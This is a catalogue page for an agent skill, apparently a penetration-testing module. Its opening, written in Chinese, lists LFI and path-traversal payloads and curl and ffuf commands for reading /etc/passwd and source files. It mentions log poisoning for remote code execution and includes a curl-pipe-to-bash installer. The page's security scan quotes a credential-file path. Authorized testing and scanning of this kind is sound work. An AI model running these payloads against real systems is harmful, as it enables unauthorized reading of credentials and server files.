Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/crazyMarky/pentest-skillsnpx agentmods add skills/crazymarky/pentest-skills/exploit-file-downloadWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download)<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-file-download/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-file-download.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00079 | $0.03302 |
| Opus 5 | $0.00039 | $0.01651 |
| Sonnet 5 | $0.00016 | $0.00660 |
| Haiku 4.5 | $0.00008 | $0.00330 |
Grade C, and why
exploit-file-download scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
/root/.ssh/id_rsa Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
description: 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。 How it starts
The opening of the file, as written. The whole thing — 400 lines — stays where its author put it; the contents beside it link to each section on GitHub.
任意文件下载与 LFI 检测和利用
授权声明
本 Skill 仅用于授权安全测试。使用前请确保:
- 获得目标系统所有者的明确书面授权
- 测试范围和授权内容已明确定义
- 遵守当地法律法规
未经授权的渗透测试是非法行为。
概述
本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。
注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。
核心功能
1. LFI 漏洞检测
自动识别以下 LFI 特征:
- 文件包含模式:参数值被直接用作
include()或require()的文件路径 - 目录遍历模式:
../序列用于遍历目录 - 伪协议利用:
php://filter、php://input等 - 路径长度限制:超长路径可能被截断
- 特殊字符:
%00空字节可能绕过扩展名检查
2. 常见 LFI Payload
| 类型 | Payload | 适用场景 |
|---|---|---|
| 文件包含 | ?title=index.php |
简单文件包含测试 |
| 路径遍历 | ?title=../../../../etc/passwd |
Linux 目录遍历 |
| 伪协议 | ?title=php://filter/convert.base64-encode/resource=/etc/passwd |
读取敏感文件源码 |
| Windows 路径 | ?title=C:\\Windows\\win.ini |
Windows 文件读取 |
| URL 编码 | ?title=%2e%2e%2f%2e%2e%2fetc/passwd |
绕过简单过滤 |
3. LFI 利用场景
- 源码读取:读取 PHP 源码进行分析
- 配置获取:读取数据库配置文件
- 日志投毒:通过 LFI 写入日志获取 RCE
- 图片马:配合文件上传 getshell
工具安装
必备工具
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# wget - 文件下载工具(通常已预装)
# macOS
brew install wget
# Ubuntu/Debian
apt-get install wget
可选工具
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt
# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash
使用方式
快速开始
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"
# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
场景 1: 基础路径遍历测试
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
What ships with it
9 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
- assets/linux_sensitive_files.txt 4.0 KB
- assets/traversal_payloads.txt 1.8 KB
- assets/windows_sensitive_files.txt 4.5 KB
- references/bypass_techniques.md 6.0 KB
- references/sensitive_files.md 8.2 KB
- scripts/__pycache__/file_download_tester.cpython-314.pyc 16 KB
- scripts/file_download_storage.py 3.2 KB runs code
- scripts/file_download_tester.py 7.6 KB runs code
- scripts/SKILL.md 9.1 KB
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 400 lines · 79 tokens per session scan C 2febd05dd8a4
exploit-file-download is a skill published in the GitHub repository crazyMarky/pentest-skills (307 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 79 tokens to every session and 3,302 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
incident-response-fileanalyser
Static malware reverse-engineering and threat-intelligence triage for unknown files, Windows EXE/PE binaries, scripts, archives, ISOs, JavaScript, PowerShell, documents, and unpacked payloads. Use when a user provides a sample path, hash, filename, or file and asks whether it is malicious, benign, suspicious, contains…
pentest-cve-vulnerability-research-helper
CVE and vulnerability research skill for exact CVE lookup, product/version applicability, exploit maturity, KEV/PoC status, source ranking, contradiction handling, and non-destructive validation guidance.
pentest-hacktricks-finder
Support skill for HackTricks technique research, payload ideas, bypasses, prerequisites, caveats, and edge-case behavior across web, network, cloud, and application security topics. Use as owner only when research is the current blocker.
pentest-web-enumeration
Authorized web enumeration for one or many websites or web applications, including live-target normalization, HTTP and TLS fingerprinting, technology and platform identification, virtual-host discovery, crawling, JavaScript and API endpoint extraction, focused directory and sensitive-file discovery, CMS-specific…
incident-response-main
Defensive incident-response companion for Microsoft Entra ID, Microsoft 365, Defender, and mixed identity or endpoint incidents. Use for sign-in triage, public-IP enrichment, initial scoping, containment planning, and analyst-ready notes.
pentest-outbound-interaction-oob-detection
Outbound interaction and OOB validation for SSRF callbacks, blind XSS beacons, webhook abuse, XXE/OOB behavior, DNS/HTTP/HTTPS callback correlation, asynchronous server-side interaction proof, and egress validation.